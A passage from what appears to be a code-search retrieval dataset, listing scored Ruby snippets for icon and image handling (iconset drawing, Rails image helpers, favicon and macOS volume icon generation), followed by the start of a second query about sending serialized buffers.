rIcon.copy_from_bitmap(lRealBitmap)\n\n return rIcon\n end", "title": "" }, { "docid": "a89ddb8c7b178414bd80b9bd6dd8056e", "score": "0.5270085", "text": "def render_preview_icon source=nil\n source ||= \"default.png\"\n image_tag sufia.download_path(@generic_file, file: \"thumbnail\"), \n alt: \"Load preview image in browser\", \n class: \"img-responsive\"\n end", "title": "" }, { "docid": "4f3320a2ac2925b80729b9ebfa7afa50", "score": "0.52689594", "text": "def createBalloonIcon(width, height)\n\n balloonIcon = Image.new(path: File.join(File.dirname(__FILE__), \"../../data/images/balloon.png\"))\n balloonIcon.width = width\n balloonIcon.height = height\n\n return balloonIcon\n\nend", "title": "" }, { "docid": "9b07bd360830ad3e25fbc8cee7e46fa7", "score": "0.5266696", "text": "def icon_tiny\n character_portrait_url(32)\n end", "title": "" }, { "docid": "080c71992df36482ddfed0cc483415b0", "score": "0.5264308", "text": "def create_bitmap\n @sprite.x, @sprite.y = @x - text_width + 4, @y\n sw = Font.default_size * @info.size / 2\n sw += 25 if @icon_id > 0\n line_height = 24\n @sprite.bitmap = Bitmap.new(sw, line_height)\n if @icon_id > 0\n rect = Rect.new(@icon_id % 16 * 24, @icon_id / 16 * 24, 24, 24)\n @sprite.bitmap.blt(0, 0, Cache.iconset, rect)\n end\n @sprite.bitmap.font.color.set(@color)\n @sprite.bitmap.draw_text(@icon_id > 0 ? 25 : 0, 0, sw, line_height, @info)\n end", "title": "" }, { "docid": "3ef9b3bb6e1136bade81796899db3b23", "score": "0.5246385", "text": "def make_icon(key, opts = {})\n if opts[:inline_format]\n inline_icon(key, opts)\n else\n Icon.new(key, self, opts)\n end\n end", "title": "" }, { "docid": "62371b4f72b42d23d4472be7324dcb77", "score": "0.52234644", "text": "def icon(size = '')\n\t\t\ticon_url = primary_category ? primary_category.icon : \"https://foursquare.com/img/categories/none.png\"\n\t\t\t# return \"https://foursquare.com/img/categories/none.png\"\n\t\t\tif ['64','256'].include?(size)\n\t\t\t\ticon_url = icon_url.split('.png').first + '_' + size + '.png'\n\t\t\tend\n\t\t\ticon_url\n end", "title": "" }, { "docid": "74b8504d3c66cbfe99cc2d3e9d86f351", "score": "0.521343", "text": "def icon_24x24(name, options = {})\n image_tag(\"icons/24x24/#{name}.png\", {:width => '24px', :height => '24px'}.merge(options))\n end", "title": "" }, { "docid": "fc81dcece5bb9d915a03cab1e3ae5c0e", "score": "0.52115935", "text": "def copy_icon\n if !@icon.nil?\n if File.exists?(@icon) && @icon.match(/\\.png$/)\n puts \"Dash.copy_icon: Copying icon image...\"\n FileUtils.cp(@icon, File.join(@docset_path, 'icon.png'))\n puts \" \\`- done!\"\n else\n puts \"(E) Dash.copy_icon: Bad (not PNG) or missing filename given: #{@icon}\"\n end\n\n else\n puts \"(E) Dash.copy_icon: No icon to copy.\"\n end\n end", "title": "" }, { "docid": "8ba5cb93ce7103e709948ad6727c6fc6", "score": "0.52080905", "text": "def iconSet; end", "title": "" }, { "docid": "d80003c98b061bf282cb910691832553", "score": "0.51819825", "text": "def icon_tag(icon)\n image_tag(\"forge/icons/#{icon}.png\")\n end", "title": "" }, { "docid": "88dabcbd3c7f0c92d49ab5f4548b4e64", "score": "0.5158003", "text": "def icon_size\r\n 16\r\n end", "title": "" }, { "docid": "d3f747344e0a90a26998e682bec1468b", "score": "0.515702", "text": "def icon_paths\n icon_paths = []\n\n # old way to specify icons\n icon_names = []\n all_plists_for_build_setting(\"INFOPLIST_FILE\").each do |path, plist_content|\n keys = plist_content.keys.select {|key| key.start_with?(\"CFBundleIcons\") }\n icon_names << keys.map {|key| plist_content[key][\"CFBundlePrimaryIcon\"][\"CFBundleIconFiles\"] }\n end\n icon_names = icon_names.flatten.uniq\n icon_name_regexps = icon_names.map do |icon_name|\n icon_name_extension = File.extname(icon_name)\n if icon_name_extension.empty?\n Regexp.new(\"\\\\A#{Regexp.escape(icon_name)}(@[0-9]+x)?\\.png\\\\z\")\n else\n Regexp.new(\"\\\\A#{Regexp.escape(File.basename(icon_name, icon_name_extension))}(@[0-9]+x)?#{Regexp.escape(icon_name_extension)}\\\\z\")\n end\n end\n icon_paths << find_files_in_project do |project_file_path|\n basenames = [ project_file_path.basename.to_s, project_file_path.basename(project_file_path.extname).to_s ]\n icon_name_regexps.any? {|re| re.match(project_file_path.basename.to_s) }\n end\n\n # newer way to specify icons\n icon_asset_names = []\n each_build_settings do |build_settings|\n name = build_settings[\"ASSETCATALOG_COMPILER_APPICON_NAME\"]\n icon_asset_names << name if name and !name.empty?\n end\n icon_asset_names.uniq!\n asset_paths = find_files_in_project {|project_file_path| project_file_path.extname == \".xcassets\" }\n icon_asset_names.each do |asset_name|\n asset_paths.each do |asset_path|\n json_path = asset_path.join(\"#{asset_name}.appiconset/Contents.json\")\n next unless json_path.exist?\n JSON.parse(IO.read(json_path))[\"images\"].each do |image|\n next unless image[\"filename\"]\n icon_path = json_path.dirname.join(image[\"filename\"])\n icon_paths << icon_path if icon_path.exist?\n end\n end\n end\n\n icon_paths.flatten.uniq\n end", "title": "" }, { "docid": "72786ead36f3386637a66d36e1d87511", "score": "0.5150544", "text": "def draw_icon(icon_index, x, y)\n iconset = Cache.system(\"Iconset\")\n rect = Rect.new(icon_index % 16 * 24, icon_index / 16 * 24, 24, 24)\n bitmap.blt(x, y, iconset, rect, 255)\n end", "title": "" }, { "docid": "90b5e096ce78ea5f6806d824df283c4c", "score": "0.5126038", "text": "def file_for(data, path, size = 420, background = nil)\n img = Identicon.new(data, size)\n img.background = background unless background.nil?\n img.generate_image\n img.save(path)\n end", "title": "" }, { "docid": "61d837abc8ff1677491fef571b50cb92", "score": "0.51192796", "text": "def svg_icon_sprite\n File.read SPRITE\n end", "title": "" }, { "docid": "22f2d8be7ba2028b93b88deaaf87797f", "score": "0.510204", "text": "def createBitmapFromFile(iFileName)\n rBitmap, lError = getBitmapFromURL(iFileName)\n\n if (rBitmap == nil)\n log_err \"Error while getting bitmap from #{iFileName}: #{lError}\"\n else\n lNewWidth = rBitmap.width\n if (rBitmap.width > MAX_ICON_WIDTH)\n lNewWidth = MAX_ICON_WIDTH\n end\n lNewHeight = rBitmap.height\n if (rBitmap.height > MAX_ICON_HEIGHT)\n lNewHeight = MAX_ICON_HEIGHT\n end\n if ((rBitmap.width > lNewWidth) or\n (rBitmap.height > lNewHeight))\n # We have to resize the bitmap to lNewWidth/lNewHeight\n rBitmap = Wx::Bitmap.from_image(rBitmap.convert_to_image.scale(lNewWidth, lNewHeight))\n end\n end\n\n return rBitmap\n end", "title": "" }, { "docid": "c5d62568b0949ed1ff658a1d32a065cf", "score": "0.5096813", "text": "def wizard_icon\n loader = Gdk::PixbufLoader.new\n loader.write(Base64.decode64(<<EOF\niVBORw0KGgoAAAANSUhEUgAAAEQAAABACAMAAACUXCGWAAAAw1BMVEXIAAAcHhslKCUrLSoyNTI3\nODA4Ozg7OzQ/QD47Qz9DQTpDREJISkdMSj1LSkNRUEhQUk9VUkVRWVVWWFVbWExZWVFeYF1aYl5h\nYFhjYFNhaWVqZ1pmaGVpaGBwb2dzb2JucG17dmN3dm51d3R7d2p8fnuAf3eHg3aJhHGGh4SJiICN\nj4yRkIeWk4WYmI+dn5yloZOjoZmuqpytq6OqrKmzsam6ubHEw7vOzcXY187W2NXe3dTd39zo6ebv\n8e79//sAAQCpFywPAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAAC4cAAAuHAZNA\nh1MAAAAHdElNRQfVDAsBLCiRkORfAAAC1klEQVRYw+3WbVOiUBTA8ZV7QwrUuxCIBSyB0opIGYLG\natzv/6n2HASz2uH6olc7/mf02kz8PDwM8uPHpUuXviF+Zp3Gfv/2sX3TrnzdbrebzaYoijxLuhT+\n9or9OQn/3rbb53mWrVarNBIjn4ja2B5myGsjDUQI/vOxHMuyw/enSRLHUZSegRSig5qliRDJua5b\n4/Gd49zd1W9jzNB1xjRVkSnPk8QTI9r80AwKw9D3fQeyIMMwCM+SuBvZbwEZz1qiMVoEDEZ5FguR\nbcbZrC38Mggj/CWOXDFihe/EJwMneY7OQfRmY7/dk4NhGQwiiNjdyGaz4o4fWnAmVM2wLKYqiqIZ\nTFGYocmyxq4ACc5AdN9Xn3ZVVS4UpVlptVOYXJUyThIEZieyK+pJ/HW19sOiWrerVJVUI1VJ4Jgs\nA68bKYsi5brjlBWVCFmEzToDpEd6iEh86YmQHBC4Tn3YifWCSc1KpKquJBpM4rojAZInOAml1ny9\nr+ZSs/aqnazKiJAzkAxuOLblzJ8Iha8vYSUS7gtsr0jNJLbdjWyzLOa6ZT1VBR7dJ1wdWBFR8cBq\nEn+07WE3slrFfGxZ8qI+tZQ2K8GzQ+s3QEwBkq4izvAakymVVVavVNFUSlVNgU8qTGIKkE26jPjY\nOIkd0jAVoojcdCJFArc+zfjYBwUmGY26EbhrBdz8ShwNhfCpEIkfPX7N2Md9ORC1oUiADPudSIYI\n+9yJgchQhESPLleuIfVaVeCFH2U8QwSvOknq9fjDcNCNrKZTW/ST8TAQIOl0unw59nxoWff4u0mM\n/DrtHppMJubt7e1PbNDWjSRfiUlLIGJ67kiM3J80aYh3YxAMBjdCJH4n3H8YsHkf37svNnc4OjbE\nbtr62FVTnwset0IvCKJoHs8XWP2DGkWzMPA8z3GxG8HjFjLWEKYxTdt1fNgONrJt2zRxsGYmwr/l\n0e/ygHzp0v/WX7AH3cFL3lx/AAAAAElFTkSuQmCC\nEOF\n))\n loader.close\n return Gtk::Image.new(loader.pixbuf)\n end", "title": "" }, { "docid": "2fdb43fcc1a6b02d325739f87e47c918", "score": "0.50952834", "text": "def load_image(file)\n pixbuf = Gdk::Pixbuf.new file\n pixmap, mask = pixbuf.render_pixmap_and_mask\n image = Gtk::Pixmap.new(pixmap, mask)\n end", "title": "" }, { "docid": "450399c3154b4dda85dab7e60ab19286", "score": "0.5094669", "text": "def maha_draw_icon(icon_index, x, y)\n bmp = Cache.system(\"Iconset\")\n rect = Rect.new(icon_index % 16 * 24, icon_index / 16 * 24, 24, 24)\n bitmap.blt(x, y, bmp, rect, 255)\n end", "title": "" }, { "docid": "24eb4c5410f029401736e3585b47ad3c", "score": "0.5091613", "text": "def refinery_icon_tag(filename, options = {})\n image_tag \"refinery/icons/#{filename}\", {:width => 16, :height => 16}.merge!(options)\n end", "title": "" }, { "docid": "92d570dcb32ef4fc4c9a63b5b2bac51c", "score": "0.50860745", "text": "def icon_tiny\n type_bp_url(32)\n end", "title": "" }, { "docid": "12079f2f2fc5f1dc618906dda919ad2f", "score": "0.50850594", "text": "def apple_touch_icon\n redirect_to helpers.image_pack_url('apple-touch-icon.png')\n end", "title": "" }, { "docid": "07b93e997c9972278da8e246a24fc097", "score": "0.5071564", "text": "def icon_image\n @icon ||= open(icon_url)\n end", "title": "" }, { "docid": "f663df4c93bc1008913e896d9fd23aac", "score": "0.5063932", "text": "def file_icon(filemode)\n case filemode\n # symbolic link (120000)\n when 40960 then \"<img src='/img/mail-forward.svg' alt='symbolic link' class='icon'>\"\n # executable file (100755)\n when 33261 then \"<img src='/img/asterisk.svg' alt='executable file' class='icon'>\"\n else \"<img src='/img/file.svg' alt='file' class='icon'>\"\n end\n end", "title": "" }, { "docid": "16e926db80ad795e4ec3498fa2080d89", "score": "0.5063752", "text": "def icon_attribution_file=(file)\n self.icon_attribution = file.read[/^ {4}(.+?)$/m, 1]\n end", "title": "" }, { "docid": "0ad20cc614cbdbf2fba374ba6a158270", "score": "0.50479186", "text": "def icon_to(source, options = {}, html_options = {}, *parameters_for_method_reference)\n link_to_original(image_tag(source.downcase, :border => 0, :align => \"top\", :title => fmt_icon_title(source)), options, html_options, *parameters_for_method_reference)\n end", "title": "" }, { "docid": "d8852ae2877a00cdf006c8a41aa91351", "score": "0.50271106", "text": "def icon_filename\n 'news_archive.png'\n end", "title": "" }, { "docid": "5b3e01047c6c547ba1e8d0d2301912ed", "score": "0.50269634", "text": "def get_enlarged_icon(size, icon_index, icon_hue = 0)\n iconset = Cache.system(\"Iconset\")\n src_rect = Rect.new(icon_index % 16 * 24, icon_index / 16 * 24, 24, 24)\n bmp = Bitmap.new(size, size)\n bmp.stretch_blt(bmp.rect, iconset, src_rect)\n # Compatibility with Icon Hues\n bmp.change_hue(icon_hue) if icon_hue != 0\n bmp\n end", "title": "" }, { "docid": "9f717b1cce69d6f83b4b29764e7df043", "score": "0.50222206", "text": "def icon_tag(file_name, text)\n image = h.image_tag(file_name)\n image += \" #{text}\" if text.present?\n image\n end", "title": "" }, { "docid": "03a967c48950c789d3a48147d9ecda04", "score": "0.5002783", "text": "def make\n src = @file\n dst = Tempfile.new([@basename, @format].compact.join(\".\"))\n dst.binmode\n img = Magick::Image.read(src.path).first\n \n dst << rounded_corners(img)\n\n dst\n end", "title": "" }, { "docid": "c369889260d37acf35ca5bc1fa188ddd", "score": "0.49958873", "text": "def refinery_icon_tag(filename, options = {})\n filename = \"#{filename}.png\" unless filename.split('.').many?\n image_tag \"refinery/icons/#{filename}\", {:width => 16, :height => 16}.merge(options)\n end", "title": "" }, { "docid": "df6ab0ed82a5c20028f77cd6704968d7", "score": "0.49954954", "text": "def micon; MICON end", "title": "" }, { "docid": "df6ab0ed82a5c20028f77cd6704968d7", "score": "0.49954954", "text": "def micon; MICON end", "title": "" }, { "docid": "e24676d274d42e56cf5a8db319c16a02", "score": "0.499499", "text": "def icon_preview(opts = {})\n set = opts.delete(:set) || default_icon_set\n image_tag \"icons/#{set}/preview_icons.png\", opts\n end", "title": "" }, { "docid": "2a00b77ad59925185d185342cf7206aa", "score": "0.49943033", "text": "def icon\n # TODO: use favicon\n ::Skin['rss.png']\n end", "title": "" }, { "docid": "6cdb0af52fa10a09ba8a3ec3a7449f1f", "score": "0.49936697", "text": "def draw_icon(icon_index)\n self.bitmap = Bitmap.new(24, 24) if !self.bitmap\n crect = Rect.new(0,0,24,24)\n bitmap.clear_rect(crect)\n rect = Rect.new(icon_index % 16 * 24, icon_index / 16 * 24, 24, 24)\n self.bitmap.blt(0, 0, Cache.iconset, rect)\n end", "title": "" }, { "docid": "f7d8ab99dd4a7cc85aa79ee4b30639eb", "score": "0.49879992", "text": "def png_to_favicon(input_filename, output_filename, sizes_array=SIZES_ARRAY)\n dir = Dir.mktmpdir\n\n begin\n output_dir = ICO::Utils.png_to_sizes(input_filename, sizes_array, dir)\n\n filename_array = Dir.glob(File.join(output_dir, '**/*'))\n\n ICO.png_to_ico(filename_array, output_filename)\n ensure\n FileUtils.remove_entry dir\n end\n end", "title": "" }, { "docid": "b72e03ae664c04c60e64c0b1252cd43f", "score": "0.49855822", "text": "def favicon_tags\n html = <<EOT\n<link rel=\"apple-touch-icon-precomposed\" sizes=\"144x144\" href=\"#{app.asset_path('png', '/apple-touch-icon-144x144-precomposed')}\" />\n<link rel=\"apple-touch-icon-precomposed\" sizes=\"114x114\" href=\"#{app.asset_path('png', '/apple-touch-icon-114x114-precomposed')}\" />\n<link rel=\"apple-touch-icon-precomposed\" sizes=\"72x72\" href=\"#{app.asset_path('png', '/apple-touch-icon-72x72-precomposed')}\" />\n<link rel=\"apple-touch-icon-precomposed\" href=\"#{app.asset_path('png', '/apple-touch-icon-precomposed')}\" />\n<link rel=\"shortcut icon\" href=\"#{app.asset_path('png', '/favicon')}\" />\n<link rel=\"icon\" type=\"image/ico\" href=\"#{app.asset_path('ico', '/favicon')}\" />\nEOT\n ::ActiveSupport::SafeBuffer.new.safe_concat(html)\n end", "title": "" }, { "docid": "5edffbc17f947b60a6bb80ea8b32ed67", "score": "0.49760604", "text": "def refinery_icon_tag(filename, options = {})\n image_tag \"refinery/icons/#{filename}\", {:width => 16, :height => 16}.merge(options)\n end", "title": "" }, { "docid": "2576f79d7633d534052dff0cba7ef5a9", "score": "0.4968068", "text": "def scrape_icon(page)\n if image_element = page.at_css(\"#appiconinfo\")\n url_string = image_element[:src]\n image_file = open(url_string)\n icon = Icon.new({:photo => image_file})\n icon if icon.save\n end\n end", "title": "" }, { "docid": "b9ae13981fcdda7d2a796028b7f2f63c", "score": "0.49648207", "text": "def cover_page\n\t return Gdk::Pixbuf.new(@cover_page_path)\n\tend", "title": "" }, { "docid": "b9ae13981fcdda7d2a796028b7f2f63c", "score": "0.49648207", "text": "def cover_page\n\t return Gdk::Pixbuf.new(@cover_page_path)\n\tend", "title": "" }, { "docid": "20b1ae096f9873f5df5a84dc4926355e", "score": "0.49635652", "text": "def create_scanned_image\n content = ''\n File.open(File.join('spec/fixtures/files/actions.png'), 'rb') do |f|\n content = f.read\n end\n ScannedImage.new(\n filename: 'actions.png',\n content_type: 'image/png',\n content: content\n )\nend", "title": "" }, { "docid": "20b1ae096f9873f5df5a84dc4926355e", "score": "0.49635652", "text": "def create_scanned_image\n content = ''\n File.open(File.join('spec/fixtures/files/actions.png'), 'rb') do |f|\n content = f.read\n end\n ScannedImage.new(\n filename: 'actions.png',\n content_type: 'image/png',\n content: content\n )\nend", "title": "" }, { "docid": "64da1a7e16432af863c56d3273ba6561", "score": "0.49549282", "text": "def image(n)\n\t\tif n < 7\n\t\t\treturn 'u'+n.to_s+'.jpg'\n\t\telse\n\t\t\tself.image(n-7)\n\t\tend\n\tend", "title": "" }, { "docid": "64da1a7e16432af863c56d3273ba6561", "score": "0.49549282", "text": "def image(n)\n\t\tif n < 7\n\t\t\treturn 'u'+n.to_s+'.jpg'\n\t\telse\n\t\t\tself.image(n-7)\n\t\tend\n\tend", "title": "" }, { "docid": "a5fc0baa2d8b5428e64e7fb3251d865a", "score": "0.49352577", "text": "def build_imagecss\n return unless options.Build_Image_Width_Css\n\n puts \"#{A_CYAN}Middlemac is creating `#{options.File_Image_Width_Css}`.#{A_RESET}\"\n\n out_array = []\n\n Dir.glob(\"#{app.source}/Resources/**/*.{jpg,png,gif}\").each do |fileName|\n # fileName contains complete path relative to this script.\n # Get just the name and extension.\n base_name = File.basename(fileName)\n\n # width\n if File.basename(base_name, '.*').end_with?('@2x')\n width = (FastImage.size(fileName)[0] / 2).to_i.to_s\n else\n width = FastImage.size(fileName)[0].to_s;\n end\n\n # proposed css\n out_array << \"img[src$='#{base_name}'] { max-width: #{width}px; }\"\n end\n\n File.open(options.File_Image_Width_Css, 'w') { |f| out_array.each { |line| f.puts(line) } }\n\n end", "title": "" }, { "docid": "5045d007bcab13f1d6444afbeda5d341", "score": "0.4930297", "text": "def url_of_file_icon(file)\n icon_type = file.file.original_filename.split('.').last.presence || 'default'\n icon_name = [icon_type, 'file_icon.png'].join('_')\n file.is_image? ? file.file.url(:cms_medium) : image_path(icon_name)\n end", "title": "" }, { "docid": "201f8b8d59a72ef70a96a2666a0e7fa8", "score": "0.493016", "text": "def set_volume_icon\n execute <<-EOH.gsub(/^ {8}/, '')\n # Generate the icns\n mkdir tmp.iconset\n sips -z 16 16 #{resource_path('icon.png')} --out tmp.iconset/icon_16x16.png\n sips -z 32 32 #{resource_path('icon.png')} --out tmp.iconset/icon_16x16@2x.png\n sips -z 32 32 #{resource_path('icon.png')} --out tmp.iconset/icon_32x32.png\n sips -z 64 64 #{resource_path('icon.png')} --out tmp.iconset/icon_32x32@2x.png\n sips -z 128 128 #{resource_path('icon.png')} --out tmp.iconset/icon_128x128.png\n sips -z 256 256 #{resource_path('icon.png')} --out tmp.iconset/icon_128x128@2x.png\n sips -z 256 256 #{resource_path('icon.png')} --out tmp.iconset/icon_256x256.png\n sips -z 512 512 #{resource_path('icon.png')} --out tmp.iconset/icon_256x256@2x.png\n sips -z 512 512 #{resource_path('icon.png')} --out tmp.iconset/icon_512x512.png\n sips -z 1024 1024 #{resource_path('icon.png')} --out tmp.iconset/icon_512x512@2x.png\n iconutil -c icns tmp.iconset\n\n # Copy it over\n cp tmp.icns \"/Volumes/#{project.name}/.VolumeIcon.icns\"\n\n # Source the icon\n SetFile -a C \"/Volumes/#{project.name}\"\n EOH\n end", "title": "" }, { "docid": "120968306aa0bad1bf9db354b7e56ee1", "score": "0.49300367", "text": "def icon\n @icon = response[\"icon\"]\n @icon[\"urls\"] = {\n \"32x32\" => \"#{@icon[\"prefix\"].chomp(\"_\")}#{@icon[\"suffix\"]}\",\n \"64x64\" => \"#{@icon[\"prefix\"]}_64#{@icon[\"suffix\"]}\",\n \"256x256\" => \"#{@icon[\"prefix\"]}_256#{@icon[\"suffix\"]}\",\n }\n @icon\n end", "title": "" }, { "docid": "8a3994bc0a368de187a3515e5d5fc50e", "score": "0.4925516", "text": "def premiere_icon(expression)\n\n p_string = expression.get_premiere_as_string\n icon_file = \"\"\n icon_file = \"world-premiere.gif\" if p_string == 'World Premiere'\n icon_file = \"nz-premiere.gif\" if p_string == 'NZ Premiere'\n html = \"\"\n icon_message = \"#{p_string} for #{expression.expression_title}\"\n if !icon_file.blank?\n html ='<img src=\"/icons/'\n html << icon_file\n html << \" \\\" alt = \\\"#{icon_message}\\\"\"\n html << \"title = \\\"#{icon_message}\\\"\"\n html << ' >'\n end\n\n html\n\n end", "title": "" }, { "docid": "552de18c1cff7b06230866f50ccb9061", "score": "0.49191958", "text": "def draw()\n if self.iconIndex != nil\n bitmap = Cache.system(\"IconSet\")\n @cIcon.img_bitmap = bitmap\n @cIcon.src_rect = Rect.new(self.iconIndex % 16 * 24, self.iconIndex / 16 * 24, \n 24, 24)\n @cIcon.draw()\n end\n end", "title": "" }, { "docid": "8d462f861e2974cf8e6af09ad61c65b6", "score": "0.49168828", "text": "def create_icon(opts = {})\n data, _status_code, _headers = create_icon_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "2e0ad519c1b92ce063d2c21808b7c5ba", "score": "0.49058932", "text": "def generate_image\n uri = URI(OSRS::GE_JSON + @id.to_s)\n json = JSON.parse(Net::HTTP.get(uri))\n json['item']['icon_large']\n end", "title": "" }, { "docid": "ce2c46e47a34a6ebcbcb4a7612b43f1b", "score": "0.49033695", "text": "def get_icon(url, base_file_name = nil)\n base_file_name ||= File.basename(url)\n file_name = root_icon_directory + base_file_name\n #if this file exists raise an error\n raise(IconExists, \"You are trying to create an icon with a name that exists\") if File.exists?(file_name)\n #fetch data and then write to file\n if src = (request(url) rescue nil)\n file = File.open(file_name, \"w+\")\n file.write(src)\n file.close\n puts \"write of #{file_name} #{File.exists?(file_name) ? 'succeeded' : 'failed'}\"\n true\n end\n end", "title": "" } ]
f4e35b402f88d09bb01b8d7895ef596b
Send serialized buffer. Direct call of the method requires knowledge about internals of FBE models serialization. Use it with care!
[ { "docid": "692f9b6115a8fe6484336f16f4a926c9", "score": "0.68599796", "text": "def send_serialized(serialized)\n if serialized <= 0\n return 0\n end\n\n # Shift the send buffer\n @_buffer.shift(serialized)\n\n # Send the value\n sent = on_send(@_buffer.buffer, 0, @_buffer.size)\n @_buffer.remove(0, sent)\n sent\n end", "title": "" } ]
[ { "docid": "045da98b38065a8fc7d7c9e0b759106f", "score": "0.68979794", "text": "def serialize(buffer = \"\")\n raise NotImplementedError, \"This method is generated after calling #finalize on a message class\"\n end", "title": "" }, { "docid": "68fbb578ec5e70c7030d4c12794ef319", "score": "0.66625243", "text": "def serialize(buffer, adapter)\n Adapter.get(adapter).serialize(process, buffer)\n end", "title": "" }, { "docid": "51c0b0e37b43b35c8178b917e334c3fd", "score": "0.6398406", "text": "def send_object obj\n data = serializer.dump(obj)\n send_data [data.respond_to?(:bytesize) ? data.bytesize : data.size, data].pack('Na*')\n end", "title": "" }, { "docid": "631f94988d0c9ed9ae479e50adc6c3e9", "score": "0.63893944", "text": "def send_object obj\n data = serializer.dump(obj)\n send_data [data.respond_to?(:bytesize) ? data.bytesize : data.size, data].pack('Na*')\n end", "title": "" }, { "docid": "01f3ee9e7d9587be7d89568ce20976ac", "score": "0.63248074", "text": "def serialize\n return unless dirty?\n\n write_data\n\n @dirty = false\n @new_messages.clear\n @changed_messages.clear\n end", "title": "" }, { "docid": "09956c2d15eecd877de33e0feeb9b59a", "score": "0.6300238", "text": "def transmit_chunk_buffer\n super\n end", "title": "" }, { "docid": "28ee2da6840feee9562af047de23ca8b", "score": "0.6227468", "text": "def serialize!\n end", "title": "" }, { "docid": "28e1ca2204967bcb3b3b33fe5ff968e4", "score": "0.62231183", "text": "def serialize!; end", "title": "" }, { "docid": "9fedacd9e189ffb85b3f2f06f40b31a5", "score": "0.6141769", "text": "def send_object obj\n send_data MessagePack::Packer.new.pack(obj).to_s\n end", "title": "" }, { "docid": "d9aabe9cbbebb021084279a2b501d153", "score": "0.6106048", "text": "def serialize(_object, data); end", "title": "" }, { "docid": "d9aabe9cbbebb021084279a2b501d153", "score": "0.6106048", "text": "def serialize(_object, data); end", "title": "" }, { "docid": "fbbe6fadfdd4d4fe0cd44982c195ee13", "score": "0.6092684", "text": "def transmit_serialized(block)\n length = Quassel.qt_serialize(block.length)\n @socket.write length\n @socket.write Qt::ByteArray.new(block)\n end", "title": "" }, { "docid": "df24ca49cb86cbd382fa7337755a723c", "score": "0.6051885", "text": "def message_buffer; end", "title": "" }, { "docid": "de3921433415dbe692fac0b3eee28f7f", "score": "0.60293067", "text": "def write\n __gc\n __serialize @object\n end", "title": "" }, { "docid": "b58bf289169098cd29f82e9cb216c424", "score": "0.6016772", "text": "def encode_body(buffer)\n buffer << event.to_msgpack\n end", "title": "" }, { "docid": "7760099a474521531bb17df04433e233", "score": "0.60148925", "text": "def flush\n @send_buffer.slice!(0, @send_buffer.length)\n end", "title": "" }, { "docid": "e3ba023ae5a626a78c4c5fb9764a5cf2", "score": "0.6014367", "text": "def serialize\n self.data.pack('C*')\n end", "title": "" }, { "docid": "c81600488e3351e9b559ce2d676a8c2f", "score": "0.59616655", "text": "def send_packet(packet)\n write packet.serialize\n end", "title": "" }, { "docid": "a981ee7f11f02a26a15e1ce27d10da6e", "score": "0.5961075", "text": "def serialize_data\n write_attribute(:data, self.class.to_binary(data))\n end", "title": "" }, { "docid": "573d252c8738f835c61309842a626546", "score": "0.5952628", "text": "def encode_body(buffer)\n buffer << {\n name: name\n }.to_msgpack\n end", "title": "" }, { "docid": "650142b3fdf589633088905b422ae5af", "score": "0.5951525", "text": "def serialize(object, data); end", "title": "" }, { "docid": "ceceaa822aac7d90ac02240f1c4ae6ac", "score": "0.5934521", "text": "def send_object(obj)\n data = BERT.encode(obj)\n send_data([data.respond_to?(:bytesize) ? data.bytesize : data.size, data].pack('Na*'))\n end", "title": "" }, { "docid": "0889e40a5a968e6ce40935c9b5063899", "score": "0.5932654", "text": "def send_binary data\n send data, :binary\n end", "title": "" }, { "docid": "cffb79228718642cb7e4934106a07c23", "score": "0.5929796", "text": "def pack\n Boss.pack(serialized)\n end", "title": "" }, { "docid": "15eb9b74a6461e68555968a8a038fa8e", "score": "0.59281164", "text": "def handle_write\n # handle encryption queue first\n unless @encryption_queue.empty?\n msg = @encryption_queue[0]\n @encryption_queue.delete_at(0)\n @buffer = @bf_enc_cipher.update(msg)\n @buffer << @bf_enc_cipher.final\n # DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and\n # the resulting block is used to encrypt the next block.\n end\n\n unless @buffer.empty?\n sent = send_data(@buffer)\n vprint_status(\"Sent #{sent} bytes: \" +\n \"[#{@buffer.unpack('H*')[0][0..30]}...]\")\n @buffer = @buffer[sent..@buffer.length]\n end\n end", "title": "" }, { "docid": "e27a260c94e5f2b1329a28eb7764a530", "score": "0.59230655", "text": "def write send_buffer, end_with_stop = false\n send_buffer = send_buffer.pack('c*') if send_buffer.is_a? Array\n raise \"Send buffer is too long\" if send_buffer.length > 7\n \n # TODO: Send multiple requests to handle send buffers longer than 7 bytes\n @wire.control_transfer(\n wRequest: 0xE0 | send_buffer.length | (end_with_stop << 3),\n wValue: (send_buffer.bytes[1] << 8) + send_buffer.bytes[0],\n wIndex: (send_buffer.bytes[3] << 8) + send_buffer.bytes[2]\n )\n end", "title": "" }, { "docid": "9cbfaab3f00793cb1fe87fed3248c1cf", "score": "0.5899729", "text": "def send \n\n # Remember - we just take the first 4 MD5 hash bytes for the schema.\n @mutex.synchronize do\n @schema_list[Digest::MD5.hexdigest(self.schema)[0..7]] = self.raw_schema\n end\n @ws.send_binary(self.packet)\n @features = {}\n @timestamp = nil\n end", "title": "" }, { "docid": "0010094ad1d6d43571280841377799e5", "score": "0.5875898", "text": "def send_object(object)\n case client.protocol\n when :json\n driver.text(object.to_json)\n when :msgpack\n driver.binary(object.to_msgpack.unpack('C*'))\n else\n client.logger.fatal { \"WebsocketTransport: Unsupported protocol '#{client.protocol}' for serialization, object cannot be serialized and sent to Ably over this WebSocket\" }\n end\n end", "title": "" }, { "docid": "ce8ac22708b103922bffb3556678a419", "score": "0.58646685", "text": "def serialize(buff)\n serialized_data = ''\n @data.each_pair do |key, value|\n data_str = key + '=' + value\n serialized_data = serialized_data + [data_str.length, data_str].pack('Va*')\n end\n total_byte = serialized_data.length\n return buff.write([total_byte, serialized_data].pack('Va*'))\n end", "title": "" }, { "docid": "08204f786ed6889bd81efd36b4d8f994", "score": "0.58487403", "text": "def serialize_to_buffer(buffer)\n position = buffer.length\n buffer.put_int32(0)\n serialize_key_value_pairs(buffer)\n buffer.put_byte(NULL_BYTE)\n buffer.replace_int32(position, buffer.length - position)\n end", "title": "" }, { "docid": "824fc909daa1bedd9420b6f2fe67f350", "score": "0.58352965", "text": "def encode_body(buffer)\n # To be implemented by the subclass.\n end", "title": "" }, { "docid": "0956acefd16424516fa30c833683d223", "score": "0.5818592", "text": "def dump\n serializer = nil\n begin\n require \"ruby-serial/versions/#{@version}/serializer\"\n serializer = RubySerial::Serializer::Versions.const_get(\"Version#{@version}\")::Serializer.new\n rescue\n raise \"Unknown serializer version #{@version}: #{$ERROR_INFO}\"\n end\n\n \"#{@version}\\x00#{serializer.pack_data(@obj)}\".force_encoding(Encoding::BINARY)\n end", "title": "" }, 